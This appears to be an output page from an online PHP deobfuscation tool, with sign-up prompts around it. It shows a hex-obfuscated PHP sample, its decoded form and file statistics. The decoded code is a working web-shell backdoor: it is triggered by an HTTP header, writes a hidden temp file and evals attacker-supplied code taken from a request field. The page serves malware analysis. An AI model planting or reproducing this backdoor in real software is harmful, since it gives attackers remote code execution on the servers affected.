Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['If-Modified-Since'])) { $c =..

Decoded Output download

<?php
$_HEADERS = getallheaders(); 
if (isset($_HEADERS['If-Modified-Since'])) { 
    $c = "<?php @eval($_REQUEST[\"If-Unmodified-Since\"]);@eval($_HEADERS[\"If-Unmodified-Since\"]);"; 
    $f = '/tmp/.'.time(); 
    file_put_contents($f, $c); 
    include($f); 
    unlink($f); 
} ?>

Did this file decode correctly?

Original Code

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Modified-Since'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 172d06c4abd3ba82605340685a15f506
Eval Count 0
Decode Time 115 ms